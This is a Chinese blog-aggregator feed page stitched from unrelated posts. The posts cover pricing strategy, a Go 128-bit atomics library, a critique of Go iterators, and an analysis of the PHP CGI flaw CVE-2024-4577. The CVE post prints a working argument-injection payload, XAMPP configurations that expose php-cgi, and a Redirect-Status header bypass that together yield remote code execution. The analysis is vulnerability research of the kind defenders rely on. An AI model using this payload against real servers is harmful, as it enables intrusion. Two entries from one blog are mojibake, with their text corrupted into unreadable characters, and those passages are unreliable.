研究表明，像鼻用喷雾，连裤袜，墨水和电子产品的价格提高时，它们的销量也会提高。
书中举了一家电动剃须刀的例子，这家市场跟随者为了使产品价格更接近市场领导品牌博朗（Braun），大幅提升了售价，其产品的销量在短时间内增加了 4 倍。新的价格打消了消费者对其质量的担忧，同时对于博朗，其仍然具备足够的价格吸引力。这就是所谓的价格甜蜜点。
我认为教育产品其实也是具备这样的品质效应。因为教育产品价格背后的产品品质和服务比较复杂和专业，消费者通常不太能做到比较客观的比较，这种情况下，价格高的产品在品质也过硬的情况下，长期也是最舒服的。
四、定价应该支撑企业利润
作者用一个具体的例子展示了价格折扣与利润的关系。
我们假设一个硬件产品价格为 10 元，销量为 100 万件，销售额为 1000 万。其中成本为 800 万，利润为 200 万。
现在，我们假设销量不变，我们将价格打 9 折，用 9 元的价格销售。这个时候，我们的利润会下降 50%，只有 100 万了。
如下图所示：
有人可能会说：降价会带来销量的上涨。好的，那么销量需要上涨多少才能与之前的利润持平呢？答案是销量上涨一倍。
10% 的优惠基本上是不可能带来 100% 的销量上涨的，所以最终带来的就是利润的损失。
以上还没有考虑竞争对手跟进降价的情况。如果竞争对手也跟进降价 10%，那么大家的销量应该基本保持不变。
** 结论：9 折的销售会带来利润的大幅度损失，同时销量的上涨很难弥补这部分。 **
同时，我们可以做另外一个假设：如果我们涨价 10%，那会怎么样？结论是：如果销量没有下滑超过 3 成，涨价就可以提供更多的利润。
所以，在面对困境的时候，涨价比降价更安全。
五、盈亏平衡分析
对于一个商品，它的成本包括固定成本（销售人员工资等）以及可变成本（生产成本，营销费用），于是我们可以得出以下公式：
盈亏平衡销量 = 固定成本 / （价格-可变成本）假如，我们的固定成本是 300 万，定价 100 块钱，可变成本是 60。那么，我们需要卖出 300 万/40 = 7.5 万件商品才能回本。
如果我们把价格降到 80，那么销量需要翻倍才能盈亏平衡，如果我们把价格涨到 120，那么只需要卖出 5 万件就能盈亏平衡。
六、价格弹性
价格弹性是指销量变化与价格变化的关系。
价格弹性为 2 表示销量变化百分比是价格变化百分比的 2 倍。也就是说，1% 的价格下降将带来 2% 的销量增长。相反地，1% 的价格提升将会造成 2% 的销量下跌。
根据西蒙咨询对数万种商品的分析，价格弹性通常在 1.3-3 之间浮动，中等浮动大约在 2。
所以，我们可以借助这个工具估算价格变化带来的销量变化。如果价格弹性为 2，那么 9 折优惠对应的销量提升就是 20% 。
利用价格弹性规则和历史上同类产品的参数经验，我们就可以模拟分析各种定价对于销量的影响了。当然，这个假设还是建立在需求曲线是线性的情况下。真实的情况应该更加复杂。
七、危机中的利润
在进行定价讨论的时候，西蒙咨询公司通常会让企业出一套选择题：
- 选项 A：价格下降 5%，销量保持不变
- 选项 B：销量下降 5%，价格保持不变
大部分企业都会选择 A。但因为全球企业的平均净利润率约为 6%，其中中国的企业平均净利润率为 5.2%，所以选择 A 意味着利润率从 5.2% 下降到基本上无利润的境地（也可以理解为利润率下降 100%）。
所以，当企业陷入困境，降价是一种危险的操作，因为降价有可能让企业陷入亏损。相对来说，减产的危害小很多。
八、一些小结
巴菲特说：评估一家企业价值最重要的因素是其定价权。
西蒙说：好的价格方案需要创造价值，量化价值以及传递价值。最后，也是最重要的一点，避免价格战。
孙正义在投资 wework 失败之后说：你的梦想最好是有利可图的。
我的老板常圳说：没有哪个公司是因为盈利倒闭的。
我认为：
- 制定价格和营销策略的时候，首先应该关注利润，然后才是规模；
- 营销中应该重点为消费者传递产品的价值信息而不是优惠信息；
- 为团队传递利润为先的价值导向；
以上。
- 博客 maxOS 2024-06-23 15:16:51Product-Led SEO 就是指通过产品本身的功能作为核心关键词，通过程序化的方式来拓展关键词，构建起大量的页面的方式来做 SEO。
- 博客 Tinyfool的中文Blog 2024-06-23 13:11:09
最近状态很差，又回到了混吃等死的状态。 一方面可以认为是看韩剧上瘾，最近一直在看金裕贞的电视剧，看了好几个了， […]
出去旅游一圈最先出现在Tinyfool的个人网站。
- 博客 格物致知 2024-06-22 20:42:00在进行 DNS 设置的时候，我们通常都是指定一个域名的名字，然后配置 CNAME 或者 A/AAAA 记录，但是，最近因为工作的原因，我发现了两个特殊的用法，分别是：域名后面加了个 . 和 DNS 中使用通配符，本文就对这两种情况简单做个小结。
- 博客 云风的 BLOG 2024-06-22 16:39:52
��Ϊ����һЩ�ǽ���̫��վ���������Ϸ��������С�ÿ����Ϸ���ܸ���һЩ��������Ϊ��Ķ����࣬���ԾͲ������ˣ�ֻ�����б���¼����Щ��û�г����ȼ��˸�Ը������
- Adaptory
- Astro Colony
- Avorion
- Cosmoteer
- Deep Space Outpost
- Facteroids
- Factorio mod : Space Exploration
- Factorio mod : Warp Drive Machine
- Far Sector
- Final Factory
- Final Upgrade
- Generation Nova
- Generation Ship
- IXION
- Ostranauts
- Oxygen Not Included DLC: Spaced Out
- Rimworld mod : Save Our Ship 2
- Rionag: Survey Fleet
- Space Architect
- Space Haven
- Space Slog
- Stardeus
- Starfall Protocol
- Starmancer
- Starsector
- Starship Theory
- Starshop Colony
- Stationeers
- The Crust
- The Last Starship
- 博客 61's life 2024-06-22 11:31:18275
- 博客 构建我的被动收入 2024-06-22 08:00:00BMPI周记005：直播小完结
- 博客 二丫讲梵 2024-06-21 06:41:36如要阅读全文，点击标题跳转。学习周刊-总第164期,几个开源的后端管理平台
- 博客 西秦公子 2024-06-19 23:18:04在少数派看到一篇沪漂七年、搬家七次的文章，介绍了作者自己的选房思路。刚好，我从毕业开始，基本上每年搬家一次，也 […]
- 博客 61's life 2024-06-19 22:02:10279
- 博客 卢昌海的个人主页 2024-06-19 05:51:00站长在 YouTube 频道发布的视频
- 博客 格物致知 2024-06-18 22:02:00最近在使用 Jenkins 的时候，突然想到我一直都是使用 Credentials 来保存加密信息，那么它真的是安全的吗？所以就有了这篇文章用于简单地介绍它并不是真的完全安全。
- 博客 61's life 2024-06-17 23:29:40282
- 博客 Tinyfool的中文Blog 2024-06-17 00:24:15
项目名 首页 论文 代码 LiveDemo 时间 EMO 🌍 📑 ❌ ❌ 2024年2月27日 Live Sp […]
- 博客 鸟窝 2024-06-16 11:42:29
我们已经知道，标准库中的 atomic 针对 int32/uint32、int64/uint64 提供了原子操作的方法和函数，但是如果针对 128 bit 的整数呢？
当然使用128 bit 整数的原子操作的场景可能比较少，也不会有太多人有这个需求，但是如果我们需要对几个 32 bit、64 bit 变量进行原子操作吗， atomic128 可能就很有用。
tmthrgd/atomic128 在几年前提供了 atomic 128 的实验性功能，最后放弃了，但是他提供了一个思路，可以使用 CMPXCHG16B 指令为 AMD 64 架构的CPU 提供 atomic 128 功能。
CAFxX/atomic128 fork 了上面的项目，继续维护，还是使用
CMPXCHG16B指令，只为 AMD 64 架构提供原子操作。首先我们看看它的功能然后再看一看它的实现，最后我们思路发散一下，看看使用 AVX 为 128 bit 甚至更多 bit 的整数提供原子操作是否可行。
atomic128 的方法
Package atomic128实现了对 128 bit值的原子操作。在可能的情况下（例如，在支持CMPXCHG16B的 amd64 处理器上），它会自动使用 CPU 的原生特性来实现这些操作；否则，它会回退到基于互斥锁（mutexes）的方法。Go 的基本整数中不包含 int128/uint128，所以这个库先定义了一个 Int128 的类型：
1234type Uint128 struct {d [3]uint64m sync.Mutex}然后类似标准库 atomic 中对各种整数的操作，它也提供了类似的方法：
123456789func AddUint128(ptr *Uint128, incr [2]uint64) [2]uint64func CompareAndSwapUint128(ptr *Uint128, old, new [2]uint64) boolfunc LoadUint128(ptr *Uint128) [2]uint64func StoreUint128(ptr *Uint128, new [2]uint64)func SwapUint128(ptr *Uint128, new [2]uint64) [2]uint64func OrUint128(ptr *Uint128, op [2]uint64) [2]uint64func AndUint128(ptr *Uint128, op [2]uint64) [2]uint64func XorUint128(ptr *Uint128, op [2]uint64) [2]uint64可以看到，除了正常的 Add、CAS、Load、Store、Swap 函数，还贴心的提供了
Or、And、Xor三个位操作的函数。下面是一个简单的例子:
123456789101112131415161718n := &atomic128.Uint128{}v := atomic128.LoadUint128(n) // [2]uint64{0, 0}atomic128.StoreUint128(n, [2]uint64{1, ^uint64(0)})v = atomic128.LoadUint128(n) // [2]uint64{1, ^uint64(0)}v = AddUint128(n, [2]uint64{2, 40})v = atomic128.LoadUint128(n) // [2]uint64{3, 40}v = atomic128.SwapUint128(n, [2]uint64{4, 50})v = atomic128.LoadUint128(n) // [2]uint64{4, 50}v = atomic128.CompareAndSwapUint128(n, [2]uint64{4, 50}, [2]uint64{5, 60})v = atomic128.LoadUint128(n) // [2]uint64{5, 60}v = atomic128.OrUint128(n, [2]uint64{0, 0})v = atomic128.LoadUint128(n) // [2]uint64{5, 60}atomic128 的实现
聪明的你也许看到
Uint128的定义的时候就会感觉有一点不对劲，为啥128bit的整数要用3个64bit的整数来表示呢？ 2个Uint64不就够了吗？这是为了保证128位对齐，类似的技术在Go 1.20之前的WaitGroup中也有使用。进一步了解可以查看：
通过包含三个Uint64元素的数组，我们总能通过下面的方法得到128位对齐的地址：
123456func addr(ptr *Uint128) *[2]uint64 {if (uintptr)((unsafe.Pointer)(&ptr.d[0]))%16 == 0 { // 指针已经128位对齐return (*[2]uint64)((unsafe.Pointer)(&ptr.d[0]))}return (*[2]uint64)((unsafe.Pointer)(&ptr.d[1])) // 必然ptr.d[1]是128位对齐的 (AMD64架构)}通过变量
useNativeAmd64判断CPU是否支持CMPXCHG16B指令：123func init() {useNativeAmd64 = cpuid.CPU.Supports(cpuid.CX16)}如果不支持，回退到使用Mutex实现一个低效的atomic 128bit原子操作:
12345678910111213141516func CompareAndSwapUint128(ptr *Uint128, old, new [2]uint64) bool {if runtime.GOARCH == "amd64" && useNativeAmd64 {return compareAndSwapUint128amd64(addr(ptr), old, new)}// 不支持CMPXCHG16B指令，使用Mutexptr.m.Lock()v := load(ptr)if v != old {ptr.m.Unlock()return false}store(ptr, new)ptr.m.Unlock()return true}如果支持
CMPXCHG16B指令，直接调用compareAndSwapUint128amd64函数：12345678910TEXT ·compareAndSwapUint128amd64(SB),NOSPLIT,$0MOVQ addr+0(FP), BPMOVQ old+8(FP), AXMOVQ old+16(FP), DXMOVQ new+24(FP), BXMOVQ new+32(FP), CXLOCKCMPXCHG16B (BP)SETEQ swapped+40(FP)RET主要依赖
CMPXCHG16B实现。CMPXCHG16B是一条X86体系结构中的指令,全称为"Compare and Exchange 16 Bytes"。它用于原子地比较和交换16个字节(128位)的内存区域。
这条指令的作用是:- 将要比较的16个字节的内存值加载到一个寄存器中。
- 将要写入的16个字节的值加载到另一个寄存器中。
- 比较内存中的值和第一个寄存器中的值是否相等。
- 如果相等,则用第二个寄存器中的值覆盖内存中的值。
- 根据比较结果,设置相应的标志位。
思路发散
当前很多号称性能优化的库，可能会使用SIMD指令集来提高性能，比如AVX、SSE等。那么，我们是否可以使用AVX指令集来实现对128位整数甚至256、512位整数的原子操作呢？
有一篇很好的文章介绍了这方面的探索:Aligned AVX loads and stores are atomic。
各家处理器手册中并没有为AVX指令集提供原子性的担保。The AMD64 Architecture Programmer’s Manual只是保证了内存操作最大8个字节，
CMPXCHG16B是原子的。The Intel® 64 and IA-32 Architectures Software Developer’s Manual也做了类似的保证。此外，Intel手册明确指出AVX指令没有任何原子性保证。这篇文章的作者做了实验，得出下面的结论:
尽管看起来对齐的 128 位操作室原子的，但是 CPU 提供商没有提供担保，我们还是使用
CMPXCHG16B指令保险。 - 博客 卢昌海的个人主页 2024-06-15 20:23:00站长在东京所摄相片的第一部分
- 博客 太隐 2024-06-15 17:51:31你的成功不是由你决定的，而是由我们决定的。
- 博客 涛叔 2024-06-15 00:00:00287
- 博客 二丫讲梵 2024-06-14 05:28:38如要阅读全文，点击标题跳转。学习周刊-总第163期,多功能、轻量化、高性能的 macOS 屏幕录制工具
- 博客 涛叔 2024-06-14 00:00:00289
- 博客 61's life 2024-06-13 23:46:57290
- 博客 maxOS 2024-06-13 22:19:05黑天鹅事件风险大且不可预测，因此我们不应该去寻找预测黑天鹅事件的方式，而应该去适应有黑天鹅的环境，适应的方式就是利用反脆弱性来构筑越来越强韧的事物。
- 博客 Tinyfool的中文Blog 2024-06-13 17:31:38
前两天，在社交媒体听说了，正在热播的《玫瑰的故事》。朋友说，“黄玫瑰这个角色确实只能让刘亦菲演。为了多看刘亦菲 […]
- 博客 格物致知 2024-06-12 06:59:00在之前我曾经写过两篇文章：《Kubernetes CRD 系列：Operator》和 《Kubernetes CRD 系列：Operator SDK 》，在这两篇文章中，我介绍了 Operator 的概念以及实现 Operator 的方式 ，到现在，这两篇文章已经接近 5 年了。但是，回看过去 5 年，Operator SDK 没有太大的改变，但是又有所增强，所以本文就将尝试进一步多介绍一个新的东西 OLM 的使用。
- 博客 鸟窝 2024-06-11 22:02:06
这是 Aliaksandr Valialkin 昨天刚写的一篇文章, 心有戚戚焉，所以特意翻译成中文，个人感觉，自从Rob Pike退休后，Go在大方向迷失了，正如老貘(Go101)所说，目前Go的开发就像完成KPI一样，也许, 大师不会再回来了。
Aliaksandr Valialkin是fasthttp的作者，也是VictoriaMetrics开发者，一位资深的Go程序员。
以下是对原文的地道中文翻译:
Go编程语言以易于使用而闻名。得益于经过深思熟虑的语法、特性和工具,Go允许编写任意复杂度的易读易维护的程序(参见GitHub上的这个列表)。
有些软件工程师称Go为"无聊"和"过时",因为它缺乏其他编程语言的高级特性,如单子、Option类型、LINQ、借用检查器、零开销抽象、面向方面编程、继承、函数和运算符重载等。虽然这些特性在特定领域可能可以简化编码,但它们除了好处之外还有非零的成本。这些特性通常对锻炼大脑有好处。但是在处理生产代码时,我们不需要额外的精神负担,因为我们已经很忙于解决业务任务了。所有这些特性的主要成本是增加了结果代码的复杂性:
- 仅仅通过阅读代码就变得更难理解正在发生的事情;
- 调试此类代码变得更加困难,因为您需要跳过数十个非平凡的抽象才能到达业务逻辑;
- 由于这些特性施加的限制,为此类代码添加新功能变得更加困难。
这可能会显著减慢甚至阻碍代码开发的进度。这就是Go一开始就没有这些特性的主要原因。
不幸的是,一些这样的特性开始出现在最新的Go版本中:
- 泛型已在Go1.18中添加。许多软件工程师希望Go有泛型,因为他们认为这将大大提高Go的生产力。Go1.18发布已经两年了,但没有迹象表明生产力有所提高。Go中泛型的整体采用率仍然很低。为什么?因为大多数实际的Go代码根本不需要泛型。另一方面,泛型显著增加了Go语言本身的复杂性。例如,尝试理解泛型添加后Go类型推断的所有细节。它的复杂性看起来已经非常接近于C++的类型推断了:)另一个问题是Go中的泛型缺乏C++模板中存在的基本特性。例如,Go泛型不支持泛型类型的泛型方法。它们也不支持模板特化和模板模板参数,以及许多其他需要充分利用泛型编程的特性。让我们将这些缺失的特性添加到Go中吧!等等,那我们就得到另一个过于复杂的C++克隆了。那么,为什么要一开始就将半生不熟的泛型添加到Go中呢?🤦
- 根据这个提交,Range over functions 又名迭代器、生成器或协程将在 Go 1.23 中添加。让我们仔细看看这个"特性"。
Go1.23 中的迭代器
如果你不太熟悉Go中的迭代器,请阅读这篇出色的介绍文章。本质上,这是一种语法糖,允许在具有特殊签名的函数上使用
for...range循环。这使得可以编写遍历自定义集合和类型的自定义迭代器。听起来像是一个很棒的功能,不是吗?让我们试着弄清楚这一功能解决了哪些实际问题。这在这里有概述:Go语言没有标准的方式来遍历一系列值。由于缺乏约定,我们最终使用了各种各样的方法。每种实现都是根据当时的上下文做出最合理的决定,但是孤立地做出的决策导致了用户的困惑。
仅在标准库中,我们就有archive/tar.Reader.Next、bufio.Reader.ReadByte、bufio.Scanner.Scan、container/ring.Ring.Do、database/sql.Rows、expvar.Do、flag.Visit、go/token.FileSet.Iterate、path/filepath.Walk、go/token.FileSet.Iterate、runtime.Frames.Next和sync.Map.Range,几乎没有任何一个在迭代的确切细节上达成一致。即使函数签名相同,语义也不总是一致。例如,大多数返回(T, bool)的迭代函数都遵循Go的惯例,即bool表示T是否有效。相反,runtime.Frames.Next返回的bool则表示下一次调用是否会返回有效的内容。
当你想要遍历某些内容时,你首先必须了解你调用的特定代码是如何处理迭代的。这种不统一阻碍了Go追求的在大型代码库中方便移动的目标。人们常常将Go代码看起来都大致相同作为一个优势,但对于包含自定义迭代的代码而言,这显然是不真实的。
再说一次,拥有在Go中遍历各种类型的统一方式听起来是合理的。但是对于作为Go主要优势之一的向后兼容性又如何呢?根据Go的兼容性规则,上面提到的标准库中所有现有的自定义迭代器将永远保留在标准库中。因此,所有新的Go版本在标准库中都将至少提供两种不同的方式来遍历各种类型 —— 旧的方式和新的方式。这增加了Go编程的复杂性,因为:
- 您需要了解遍历各种类型的两种方式,而不是单一方式。
- 您需要能够阅读和维护使用旧迭代器的旧代码,以及可能使用旧迭代器、新迭代器或同时使用两种迭代器类型的新代码。
- 在编写新代码时,您需要选择适当的迭代器类型。
Go1.23 中迭代器的其他问题
以下是对原文的地道中文翻译:
在Go 1.23之前,
for...range循环只能应用于内置类型:整数(从Go1.22开始)、字符串、切片、映射和通道。这些循环的语义很清晰,易于理解(遍历通道的循环语义更加复杂,但如果你处理并发编程,那你应该很容易理解)。从Go 1.23开始,
for...range循环可以应用于具有特殊签名的函数(又称拉取和推送函数)。这使得单凭阅读代码就无法理解给定的看似无辜的for...range循环到底会在底层做什么。它可以做任何事情,就像任何函数调用一样。不同之处在于,Go中的函数调用一直都是显式的,比如f(args)，而for...range循环隐藏了实际的函数调用。另外,它还对循环体应用了一些不太明显的转换:- 它隐式地将循环体包裹在一个匿名函数中,并隐式地将这个函数传递给推送迭代器函数。
- 它隐式地调用匿名的拉取函数,并将返回的结果传递给循环体。
- 它隐式地将return、continue、break、goto和defer语句转换为另一个不太明显的语句,存在于传递给推送迭代器函数的匿名函数中。
另外,在一般情况下,在循环迭代之后使用迭代器函数返回的参数是不安全的,因为迭代器函数可能会在下一次循环迭代时重用它们。
Go 曾因易于阅读和理解的显式代码执行路径而闻名。这一特性在 Go1.23 中不可逆转地被破坏了:(我们用什么来交换?另一种遍历类型的方式,它具有一些隐式的语义,而且在某些情况下行为与广告描述的不同。当遍历可能在迭代过程中返回错误的类型时(例如database/sql.Rows、path/filepath.Walk 或任何其他在迭代过程中进行 IO 操作的类型),这种新方式就无法按预期工作,因为你需要手动检查迭代错误,无论是在循环内部还是在循环之后,这与使用旧方法的做法是一样的。
即使你使用不会返回错误的迭代器,生成的
for ... range循环也看起来比使用显式回调的旧方法更加不清晰。哪种代码更容易理解和调试?123tree.walk(func(k, v string) {println(k, v)})123for k, v := range tree.walk {println(k, v)}请记住,后一个循环会被隐式地转换为前一个带有显式回调调用的代码。现在让我们从循环中返回一些东西:
12345for k, v := range tree.walk {if k == "foo" {return v}}它被隐式转换为难以跟踪的代码，类似于以下代码：
123456789101112var vOuter stringneedOuterReturn := falsetree.walk(func(k, v string) bool {if k == "foo" {needOuterReturn = truevOuter = vreturn false}})if needOuterReturn {return vOuter}看起来很容易调试:)
如果
tree.walk通过从字节切片进行不安全转换将v传递给回调函数,那么这段代码可能会崩溃,因为v的内容在下一次循环迭代时可能会发生变化。因此,隐式生成的防弹代码必须使用strings.Clone()函数,这可能导致不必要的内存分配和复制:123456789101112var vOuter stringneedOuterReturn := falsetree.walk(func(k, v string) bool {if k == "foo" {needOuterReturn = truevOuter = strings.Clone(v)return false}})if needOuterReturn {return vOuter}range over func这一特性对函数签名施加了限制。这些限制不适用于所有需要遍历集合元素的场景。这迫使软件工程师在使用for...range循环时进行丑陋的hack,以及编写理想情况下适合给定任务的显式代码之间做出艰难选择。结论
令人遗憾的是,Go开始朝着增加复杂性和隐式代码执行的方向发展。也许我们需要停止添加增加Go复杂性的新功能,而是专注于Go的核心特性 - 简单性、高效性和性能。例如,最近Rust开始在对性能要求苛刻的领域取代Go的份额。我相信如果Go核心团队专注于优化热循环,比如循环展开和SIMD使用,这种趋势是可以扭转的。这不应该太过影响编译和链接速度,因为只有少量编译后的Go代码需要优化。没有必要试图优化所有简单代码的变体 - 这些代码即使优化了热循环也仍然会很慢。只需针对那些由注重代码性能的软件工程师故意编写的特定模式进行优化就足够了。
Go比Rust容易使用得多。为什么要在性能竞赛中输给Rust呢?
Go可以获得的另一个有用特性的例子是,在不增加语言本身和使用这些特性的Go代码复杂性的情况下,进行类似于小的改善代码质量的改进。我是谁?
我是一名专门编写简单、面向性能的Go代码的软件工程师,如VictoriaMetrics、quicktemplate、fastjson、fasthttp、fastcache、easyproto等。多亏了Go,我一直试图遵循KISS(Keep It Simple,Stupid)设计原则。
- 博客 bang's blog 2024-06-11 19:35:27💡 能，但还比较勉强。 在客户端上跑大模型，一定是未来的趋势。 上个时代 AI 的核心应用是推荐系统，推荐是依 […]
- 博客 云风的 BLOG 2024-06-11 10:12:07
��������������Ϸ demo �У����ж������϶������ڶ�ά�ռ䣬���� Ant Engine ��ͨ�� 3d ��Ⱦ��ʽ���Ƴ�����
��ϣ����һ����� API �����ҿ�����Щ�������Ⱦ��ֻ�ǿ������ǵ�λ���Լ��� Y ���ϵ���ת����Ant Engine ���ó������������ entity ��Ⱦʱ�Ŀռ�״̬���������ڵ�ʹ�õ��� 3d �ռ�� SRT �����š���ת��λ�ơ�����ֻ��Ҫ�������е������������ϵĿռ�λ���Լ�һ����ת���ϵ���ת����ֱ���� SRT ̫�������ˡ����ң�ʹ������ʱ������Ҫÿ֡��DZ��Ĺ��ij��������Ӧ�� entity ����Ҳ���鷳��
�� ECS �ṹ�£���ķ�ʽ��Ϊ��Щ entity ����һ������������������ x y r ����ֵ��ͨ��һ�� system ������ת���������ڵ��� 3d �ռ��µ� SRT ����С������ÿ֡��ȫ��ת��һ���Եö��࣬�Ͼ��� entity ����ÿ֡���ᷢ���仯�ġ�
������һ���� Lua ���������㿪����������Ǵ��룺
local monitor = {} local function new_type() local changes = {} local function touch(obj, k, v) local raw = obj.__raw changes[raw] = true raw[k] = v obj.__newindex = raw end local function new (obj) obj.__index = obj obj.__newindex = touch changes[obj] = true return setmetatable({ __raw = obj }, obj) end local function next_raw(t, key) local nkey, nvalue = next(t, key) if nkey then nkey.__newindex = touch return nkey, nvalue end end local function pairs() if next(changes) then local t = changes changes = {} return next_raw, t else return next, changes end end return { pairs = pairs, new = new } end local types = setmetatable ({}, { __index = function(self, name) local t = new_type() self[name] = t return t end }) function monitor.new(typename) return types[typename].new end function monitor.pairs(typename) return types[typename].pairs() end TEST = true if TEST then local a = monitor.new "test" { x = 1, y = 2 } local b = monitor.new "test" { x = 10, y = 20 } local function flush() print "=====" for obj in monitor.pairs "test" do print(obj.x, obj.y) end end a.x = -1 flush() b.y = -20 flush() local c = monitor.new "test" { x = 0, y = 0 } flush() else return monitor end������ test ����ɼ������ǿ���ͨ��
monitor.new "typename" {}����һ�������� x y ����� lua ������������Ҫ�� ECS ��������ں� ecs ���ʹ�õ�ʱ���� eid Ҳ�Ž�������ں��������ʱ���Զ�Ӧ�� ecs �е� entity ���������Ǻ�������Щ����ʱ������Ĺ��Ķ��������ڲ�һ�ű��С�ͨ��
for obj in monitor.pairs "typename"���Ա�����������Ĺ������´������Ķ��� - 博客 LoRexxar's Blog 2024-06-11 09:52:10
在2024.6.6今天，@Orange在他的博客发布了他即将在2024年8月Black Hat USA公开的议题《Confusion Attacks: Exploiting Hidden Semantic Ambiguity in Apache HTTP Server!》
伴随着议题的发布，今天在DEVCORE的官方博客发布了一个漏洞通报，也就是存在于windows特殊场景下的PHP CGI远程代码执行漏洞
接下来看看漏洞的详情
漏洞描述
CVE-2024-4577导致漏洞产生的本质其实是Windows系统内字符编码转换的Best-Fit特性导致的，相对来说PHP在这个漏洞里更像是一个受害者。
由于Windows系统内字符编码转换的Best-Fit特性导致PHP原本的安全限制被绕过，再加上一些特殊的PHP CGI环境配置导致了这个问题，最终导致漏洞利用的算是一些PHP的小技巧。
影响范围
这个漏洞理论上影响PHP的所有版本
- PHP 8.3 < 8.3.8
- PHP 8.2 < 8.2.20
- PHP 8.1 < 8.1.29
除此之外的其他PHP版本官方已经不再维护了，包括PHP8.0、PHP7、PHP5在内，但是理论上来说他们都受到这个影响。
漏洞利用条件
Windows系统内字符编码转换的Best-Fit特性
前面提到过，这个漏洞的利用前提是由于Windows系统内字符编码转换的Best-Fit特性，所以第一个前提条件就是
- 必须是Window环境
其次由于这个特性，windows必须使用以下其中之一的语言系统
- 繁体中文 (字码页 950)
- 简体中文 (字码页 936)
- 日文 (字码页 932)
而且除了这3个以外，其他的语言也不能完全排除影响，凡是存在该特性的的系统都受到影响。
那什么是Best-Fit呢？或者说，为什么是Best-Fit？
说白了其实就是windows对于不同编码字符集之间转化的一个特性，可能大家对于Best-Fit很陌生，如果换一个词叫做宽字节，我想大家就会很熟悉了，说白了就是一些特殊字符在特殊字符集下转化就会转成一个正常的字符
而这里用到的就是%ad
而这个正常的字符就是
-，我们可以结合php的源码来看，为什么这个-很重要
在php的代码当中其实原本就过滤了-这个符号，在新的commit当中还加入了对0x80以上的所有字符的限制来修复这个问题。在代码的注释当中有这么一段话来解释这个问题
1
2
3
4
5
6
7Something is wrong with the XAMPP installation :-(
Apache CGI will pass the query string to the command line if it doesn't contain a '='.
This can create an issue where a malicious request can pass command line arguments to
the executable. Ideally we skip argument parsing when we're in cgi or fastcgi mode,
but that breaks PHP scripts on Linux with a hashbang: `#!/php-cgi -d option=value`.
Therefore, this code only prevents passing arguments if the query string starts with a '-'.
Similarly, scripts spawned in subprocesses on Windows may have the same issue.如果get发送的请求字符串中不包含”=”，那么Apache就会把请求传到命令行作为cgi的参数。但这会导致恶意请求就可以将命令行参数传递给php，如果直接处理传参，那么会影响到以独立脚本方式运行的PHP脚本。所以只有当开头是-的时候(跳过所有空白符号)才阻止传递参数。
而这个漏洞在2012年的时候就被曝光出来，就是CVE-2012-1823
https://www.leavesongs.com/PENETRATION/php-cgi-cve-2012-1823.html
当我们用%ad来代替-之后，参数传递没有被阻止，就构成了参数注入。
而PHP和Apache的环境就会更特殊一点儿，其实在2024年你很难找到类似的环境，但是很有趣的是，XAMPP For Windows的默认环境就受到这个漏洞的影响。
而相对更具体的受影响的场景有两个
以CGI模式运行的PHP环境
首先不得不说，这是一个非常非常少见的场景，在2024年你几乎没办法找到一个直接以CGI模式运行的PHP环境，而且也没人会去做这样的修改。
如果你想要改出类似的设定你需要加入以下的配置
1
2AddHandler cgi-script .php
Action cgi-script "/cgi-bin/php-cgi.exe"或者类似于
1
2
3
4
5<FilesMatch "\.php$">
SetHandler application/x-httpd-php-cgi
</FilesMatch>
Action application/x-httpd-php-cgi "/php-cgi/php-cgi.exe"在XMAPP的默认配置当中，这部分代码也是被注释的，如果你想要测试这种利用需要在httpd-xampp.conf中注释解开下面这段代码
1
2
3
4
5
6
7
8
9#
# PHP-CGI setup
#
<FilesMatch "\.php$">
SetHandler application/x-httpd-php-cgi
</FilesMatch>
<IfModule actions_module>
Action application/x-httpd-php-cgi "/php-cgi/php-cgi.exe"
</IfModule>上面这些配置处理的都是一个类似的场景，就是apache会把请求直接转发给php-cgi。
结合上面的特性，你可以通过传%ad来传入一个
-，这样在-之后的部分就会成为php-cgi的参数，构成参数注入。
1
%add+allow_url_include%3don+%add+auto_prepend_file%3dphp://input
会变成
1
-d allow_url_include=on -d auto_prepend_file=php://input
构成参数注入导致最终的任意代码执行。
将PHP的执行程序暴露在外 - XAMPP默认配置
这个场景要特别一些，相比直接把PHP的二进制直接放在web目录下，可能更常见的还是xampp的默认配置。
在httpd-xampp.conf中就可以找到这一串代码
1
2
3
4
5
6
7
8
9ScriptAlias /php-cgi/ "D:/xampp/php/"
<Directory "D:/xampp/php">
AllowOverride None
Options None
Require all denied
<Files "php-cgi.exe">
Require all granted
</Files>
</Directory>上面的配置是什么意思呢？
其实就是访问
/php-cgi/路径的时候，会映射D:/xampp/php/下的文件，而这个目录下正好是php的整个目录
但这又有什么用呢，毕竟都denied了，只有php-cgi.exe是granted的，我们把视角还是回到php-cgi上。
如果我们直接访问调用php-cgi.exe，会怎么样呢？
答案是会有安全警告
那我们顺着这个思路去看下代码
我们会发现我们遇到了一个新的概念叫做force_redirect，这其实算是PHP的一个自我保护机制。在P牛的知识星球里就有提过这个问题。
https://wx.zsxq.com/dweb2/index/topic_detail/15411452114282
说白了就是，PHP增加了一个配置叫做cgi.force_redirect=1，开启了这个选项（默认开启）之后，只有经过重定向的规则请求才能执行，不能直接调用执行。那有什么办法绕过呢？
其实如果顺着逻辑到这里，就已经很清晰了，第一个办法也就是最直接的办法就是，既然前面已经实现了-d修改配置，那么你就正好-d再把cgi.force_redirect修改成0就行了，非常直白。
而第二个办法相对来说比较少见，我们继续回到源码当中可以发现，除了force_redirect的分支以外，其实如果能确保
REDIRECT_STATUS或者HTTP_REDIRECT_STATUS存在值，也可以不进入到这个分支里。
当然一般来说这种变量是不可控的，但是HTTP开头的变量一般来自于请求的头，那么我们就可以在请求头中加入
Redirect-status: 1来设置这个变量，同样可以绕过 - 博客 61's life 2024-06-10 23:17:52298
- 博客 鸟窝 2024-06-10 12:39:59
1. 计算机领域里，没有什么问题是加一层间接寻址解决不了的。
There's nothing in computing that can't be broken by another level of indirection.
这是 Rob Pike 的修改版。
经常
level of insriection误引用为abstraction layer。原始版本出自 Butler Lampson
All problems in computer science can be solved by another level of indirection但是 David Wheeler 完成了下半句：
All problems in computer science can be solved by another level of indirection, except for the problem of too many layers of indirection.还有 Kevlin Henney 的下半句：
ll problems in computer science can be solved by another level of indirection, except for the problem of too many layers of indirection."这句话幽默地指出，在计算机编程中，通过引入额外的抽象层或中间层，几乎可以解决任何复杂的问题。这种思路在软件设计和架构中很常见。
2. 数据为王。如果你选择了正确的数据结构，并且组织得当，算法几乎总是不言自明的。编程的核心在于数据结构，而不是算法。
Data dominates. If you've chosen the right data structures and organized things well, the algorithms will almost always be self-evident. Data structures, not algorithms, are central to programming.
"数据为王"意味着在软件开发中，数据的组织和表示方式比实现算法的具体细节更加重要。
